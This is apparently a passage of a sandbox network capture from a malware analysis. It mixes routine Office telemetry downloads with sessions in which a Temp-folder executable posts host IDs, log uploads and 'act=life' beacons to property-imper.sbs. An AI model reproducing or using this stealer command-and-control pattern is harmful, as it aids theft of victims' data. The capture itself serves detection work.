2024-11-23 02:21:50 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:50 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3cbcbade-201e-0000-6443-3ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022150Z-174c587ffdfldtt2hC1TEBwv9c0000000270000000002uye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:50 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49875	172.67.162.84	443	2132	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:50 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3BJOSA5ZY0I41PXJKXL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8796 Host: property-imper.sbs
2024-11-23 02:21:50 UTC	8796	OUT	Data Raw: 2d 2d 33 42 4a 4f 53 41 35 5a 59 30 49 34 31 50 58 4a 4b 58 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 38 32 42 38 38 44 45 43 38 37 37 34 32 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 33 42 4a 4f 53 41 35 5a 59 30 49 34 31 50 58 4a 4b 58 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 42 4a 4f 53 41 35 5a 59 30 49 34 31 50 58 4a 4b 58 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --3BJOSA5ZY0I41PXJKXLContent-Disposition: form-data; name="hwid"6A82B88DEC87742DD7CBBD6DF28D3732--3BJOSA5ZY0I41PXJKXLContent-Disposition: form-data; name="pid"2--3BJOSA5ZY0I41PXJKXLContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-23 02:21:51 UTC	1024	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=30cje87u77qpvd4jdhrf3nq41g; expires=Tue, 18-Mar-2025 20:08:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=meehMx59KhOuPPG0RScXtlZAS6U19Ge%2BGSKrPYbfB%2B%2BXVeO4oVw7n3076BR7uaY4MnPUWJQbWw5qewrOjviNBjPc3z%2BjMVErdsYd2Tz%2F7hFRSoUYu%2B2cam64iYWS0wg%2Fio8IxtA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6db026bac343eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1712&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9738&delivery_rate=1707602&cwnd=183&unsent_bytes=0&cid=8089b373e9c20fc6&ts=1012&x=0"
2024-11-23 02:21:51 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 02:21:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:50 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:50 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 45241df0-c01e-00a1-1a4f-3c7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022150Z-178bfbc474bbcwv4hC1NYCypys00000003kg00000000prwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:51 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:50 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:51 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 23c3770b-601e-0084-293a-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022151Z-178bfbc474bv7whqhC1NYC1fg400000003x00000000045hh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:51 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:50 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:51 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 6a566218-301e-0099-5f54-3c6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022151Z-178bfbc474bbcwv4hC1NYCypys00000003q000000000b8tt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:51 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49878	172.67.162.84	443	7528	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:51 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 02:21:51 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 02:21:52 UTC	1013	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=soqpuafusc14pp1hn4sh1gs2rd; expires=Tue, 18-Mar-2025 20:08:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ArCoBdXJ2JbPp4AW5bBjB7Yvy6WrfOkah4FVB6333XyLVBDvEG2Mbr8FRJYc%2FW%2FkbEW1ARiNCXbxvaf71MhECCK7BVfXHyVjITq2t6jxInMsO3XsZayXIXzzp6vdUcPFkW%2FKyPU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6db02d7cc07ca6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1839&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1588683&cwnd=232&unsent_bytes=0&cid=04a6de7d9547cef1&ts=752&x=0"
2024-11-23 02:21:52 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 02:21:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:51 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:52 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 119e228c-001e-0046-1663-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022152Z-178bfbc474btrnf9hC1NYCb80g00000003yg00000000es2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:52 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:52 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:52 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e8f84e55-c01e-0079-2269-3be51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022152Z-178bfbc474bbcwv4hC1NYCypys00000003t0000000001suf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:52 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:53 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:53 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: ccc9fd57-201e-0096-041b-3dace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022153Z-178bfbc474bbbqrhhC1NYCvw74000000042g000000001mmd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 02:21:53 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:53 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:53 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 20e9f7cf-701e-005c-216c-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022153Z-174c587ffdf4zw2thC1TEBu34000000002ag00000000gt06 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:53 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:53 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:53 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: cb4d723f-a01e-003d-7157-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022153Z-15b8b599d88g5tp8hC1TEByx6w000000025g00000000kaw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:53 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49885	172.67.162.84	443	2132	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:53 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=71HVOF5T4BZPLY6EC1U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20449 Host: property-imper.sbs
